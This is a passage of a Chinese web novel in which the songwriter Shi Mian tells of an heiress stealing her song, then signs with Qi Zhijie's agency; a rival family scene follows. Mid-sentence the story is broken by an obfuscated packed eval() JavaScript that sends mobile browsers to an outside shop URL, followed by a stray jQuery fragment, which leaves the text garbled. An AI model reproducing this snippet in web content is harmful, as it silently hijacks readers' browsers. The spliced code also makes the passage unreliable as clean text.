当时,时眠等得久了,正准备去公司问问丽姐,公司究竟会不会给她出专辑。
可她还没到公司,就在路上看见了一条推文——【文鑫娱乐旗下新人歌手叶春雁,携专辑《残冬》强势出道。】
《残冬》,正是时眠那首歌的名字。
她当时浑身的血液都僵住了。
她甚至怀疑过是撞名了。
可点开专辑一听……熟悉的旋律,熟悉的内容,正是她创作出的歌曲。
时眠气急,第一时间来到公司寻求公道。
她把歌词拍在叶春雁面前,质问道:“你的粉丝知道你是小偷吗?”
一旁的丽姐刚要开口呵斥时眠,叶春雁便摆手,示意丽姐闭嘴。
她慢条斯理地摘下墨镜,脸上露出饱含嘲讽的笑容:“时眠,你知道我是谁吗?”
“我是叶春雁,京都叶家的叶!”
“文鑫娱乐,可是我家旗下的产业,而你,只是给我家打工的一条狗,你的作品能被我看上,你应该感动荣幸!”
时眠咬牙回怼:“狗屁的荣幸!”
叶春雁依旧是眼含不屑:“如果不是我,你这首歌都无法发布,现在这首歌被这么多人听见了,你不跪下来谢我就算了,还质疑我?”
“你真是给脸不要脸。”
“丽姐,接下来的事你来处理,我不希望看见我家的狗冲着我叫。”
叶春雁说完就走,她身边有保镖,即使时眠想冲上去拉住她,也是心有余而力不足。
叶春雁走后。
丽姐叉着腰,怒气冲冲地骂道:“你可真是个蠢货!”
“能给叶小姐写歌,是多少人求之不得的?你应该感到高兴!”
“这不,叶小姐还给了你三万块的报酬,你就偷着乐吧!”
说着,丽姐又毫不留情地把那张卡拍在时眠脸上。
“你后续还可以继续给叶大小姐写歌,要是被她看上了,一首歌就是三万块,甚至是五万、十万,换做别人,都上赶着给她写歌,你就别太心高气傲了。”
“在娱乐圈,你没有背景、没有靠山,就出不了头,与其飞蛾扑火一场空,不如趁着有才华,靠才华换些钱!”
从那天开始,时眠就知道了,没有靠山,在娱乐圈确实是站不住脚的。
她看着《残冬》火出圈,看着叶春雁享受着本该属于她的鲜花和掌声,已经说不出是悲伤还是怨恨了。
在那之后,时眠还是在写歌,可她每写完一首,就将其放在出租屋的木箱里。
后来,叶春雁和丽姐找过她不止一次,威胁她继续创作,可她没有妥协。
也正因如此,网上有不少说叶春雁出道时的那首《残冬》是抄袭的,要么就是功力耗尽了,说她的才女人设是假的,也就是靠运气才火了这么一把。
叶春雁气疯了。
就在前几天,叶春雁还威胁时眠,说她如果不出歌,就让她好看!
“……”
说完过往,时眠格外平静:“总之,我被欺负的很惨。”
她觉得丽姐说得对,在娱乐圈,没有靠山,确实是走不长久。
可她现在不是孤身一人了。
思考间,她抬眸,对上祁知节的目光:“祁知节,帮我和文鑫娱乐解约,事后,我会加入祁氏名下的星璨娱乐。”
“签了我,我肯定能给公司带来利益。”
时眠的眼神格外坚定。
在这方面,她和祁知节这靠山,算是等价交换、互利共赢。
他们,是合作伙伴。
看出时眠的坚定与自信,祁知节笑了。
他看上的人,怎么会只有外表,没有内里?
他相信,时眠肯定会在他的托举之下,靠实力攀上巅峰。
只要给她一阵风,她就能迎风而上!
他祁知节要做的,就是送来这阵风。
“好。”祁知节颔首,“身为祁家的二少爷,时眠,我看重你的实力,决定投资你。”
“脱离文鑫娱乐后,你会拿到星璨娱乐的签约合同,能给公司创造多少利益,就看你的了。”
“希望你不会让我失望。”
闻言,时眠的眼睛亮亮的,像是藏了一条银河:“成交!”
“我是不会让你失望的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711729|208450||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“身为投资方,我相信你的实力。”说话间,祁知节忽地揽着时眠的腰,不容置否地说道:“身为时眠的男人,我理应支持你做出的一切决定,并成为你的踏板。”
两人的呼吸交缠,车内的气氛格外暧昧。
时眠的唇角勾勒出明显的弧度:“怪不得我喜欢你呢。”
“嗯?”
时眠不掩饰眸底的欢喜:“说话好听,我喜欢!”
祁知节:是谁又被老婆夸了?是他!
“……”
宴会结束后,祁寒松亲自送时晓霜回时家。
临分别前,祁寒松一脸郑重地说道:“晓霜,你放心,今日之辱,总有一天,我会替你讨回来!”
时晓霜挤出一抹笑容:“知道了,寒松,你对我可真好。”
聊了几句,时晓霜才回到时家。
时家的管家见时晓霜回来了,本是高兴的,可当他看见时晓霜脸上的巴掌印时,第一时间去喊唐兰。
彼时,时夫人唐兰正在护肤,一听时晓霜被打了,她立刻来到大厅。
在看见时晓霜脸上的一抹鲜红,唐兰顿时怒了:“霜儿,是谁打的你?告诉母亲,母亲替你出气!”
时晓霜可是时家上下捧在手心里的宝贝!
时晓霜一看见唐兰,就委屈的直掉眼泪。
唐兰心疼极了,一边哄,一边让时晓霜说出凶手。
良久。
时晓霜才擦掉眼泪,闷声道:“是时眠!”
“时眠?”唐兰瞳孔微缩,咬牙道:“她怎么敢?!”
时晓霜又添油加醋地把在祁家老宅时发生的事说了出来。
当然,她只说时眠是祁知节一时兴起,随手找来的玩物。
唐兰听了,脸上是肉眼可见的厌恶:“果然不是自小养在我身边的,这**胚子,都勾引上祁家二少了?还仗着二少宠她,她就为所欲为了!”
“我太了解这些男人了,说什么无情无义、不近女色……哼,对于送上门来的女人,他们是不会拒绝的。”
“但在祁知节眼里,时眠绝对只是一个宠物而已!”